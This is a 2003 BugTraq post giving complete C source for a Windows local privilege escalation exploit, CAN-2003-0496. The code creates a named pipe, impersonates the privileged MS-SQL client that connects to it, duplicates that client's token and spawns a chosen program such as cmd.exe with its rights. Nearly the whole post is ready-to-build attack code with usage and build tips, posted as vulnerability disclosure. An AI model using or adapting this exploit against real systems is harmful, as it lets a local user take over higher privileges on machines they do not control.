BugTraq
CreateFile exploit, (working) Jul 15 2003 09:10PM
wirepair (wirepair roguemail net)
Build in release mode, not debug otherwise it will crash.
/* tac0tac0.c - pay no attention to the name, long
story...
*
*
*
* Author: Maceo
* Modified to take advantage of CAN-2003-0496 Named
Pipe Filename
* Local Privilege Escalation Found by @stake. Use with
their advisory
* -wirepair (at) sh0dan (dot) org [email concealed]
http://sh0dan.org/files/tac0tac0.c
*
*
* All credits for code go to Maceo, i really did
minimal work
* with his code, it took me like 3 seconds heh.
* Shouts to #innercircle,
*
*/

#include <stdio.h>
#include <windows.h>

int main(int argc, char **argv)
{
char szPipe[64];
DWORD dwNumber = 0;
DWORD dwType = REG_DWORD;
DWORD dwSize = sizeof(DWORD);
DWORD dw = GetLastError();
HANDLE hToken, hToken2;
PGENERIC_MAPPING pGeneric;
SECURITY_ATTRIBUTES sa;
DWORD dwAccessDesired;
PACL pACL = NULL;
PSECURITY_DESCRIPTOR pSD = NULL;
STARTUPINFO si;
PROCESS_INFORMATION pi;

if (argc != 2) {
fprintf(stderr, "Usage: %s <cmd.exe>\nNamed Pipe Local
Priv Escalation found by @stake.\n"
"This code is to be used with MS-SQL exactly as
outlined in their advisory\n"
"All credit for this code goes to Maceo, he did a
fine job.. -wire\n"
"Also thanks goes to brett Moore for helping me
with DuplicateTokenEx, thanks buddy guy!\n",argv[0]);
exit(1);
}
memset(&si,0,sizeof(si));
sprintf(szPipe, "\\\\.\\pipe\\poop");

// create the named pipe
HANDLE hPipe = 0;
hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX,
PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL);
if (hPipe == INVALID_HANDLE_VALUE) {
printf ("Failed to create named pipe:\n %s\n",
szPipe);
return 3;
}
printf("Created Named Pipe: \\\\.\\pipe\\poop\n");

// setup security attribs
pSD = (PSECURITY_DESCRIPTOR) LocalAlloc(LPTR,
SECURITY_DESCRIPTOR_MIN_LENGTH);
InitializeSecurityDescriptor(pSD,
SECURITY_DESCRIPTOR_REVISION);
SetSecurityDescriptorDacl(pSD,TRUE, pACL, FALSE);
sa.nLength = sizeof (SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = pSD;
sa.bInheritHandle = FALSE;

printf("Waiting for connection...\n");
// wait for client to connect
ConnectNamedPipe (hPipe, NULL);

// assume the identity of the client //
if (!ImpersonateNamedPipeClient (hPipe)) {
printf ("Failed to impersonate the named pipe.\n");
CloseHandle(hPipe);
return 5;
}

if (!OpenThreadToken(GetCurrentThread(),
TOKEN_ALL_ACCESS, TRUE, &hToken )) {
if (hToken != INVALID_HANDLE_VALUE) {
printf("GetLastError: %u\n", dw);
CloseHandle(hToken);
exit(0);
}
}

printf("Duplicating Token...\n");
if(DuplicateTokenEx(hToken,MAXIMUM_ALLOWED,&sa,SecurityImpersonation,
TokenPrimary,&hToken2) == 0) {
printf("error in duplicate token\n");
printf("GetLastError: %u\n", dw);
exit(0);
}
MapGenericMask( &dwAccessDesired, pGeneric );

// display impersonating users name
dwSize = 256;
char szUser[256];
GetUserName(szUser, &dwSize);
printf ("Impersonating: %s\n", szUser);

si.cb = sizeof(si);
si.lpDesktop = NULL;

printf("Creating New Process %s\n", argv[1]);
if(!CreateProcessAsUser(hToken2, NULL, argv[1], &sa,
&sa,true, NORMAL_PRIORITY_CLASS |
CREATE_NEW_CONSOLE,NULL,NULL,&si, &pi)) {
printf("GetLastError: %u\n", dw);
}
CloseHandle(hPipe);

return 0;
}
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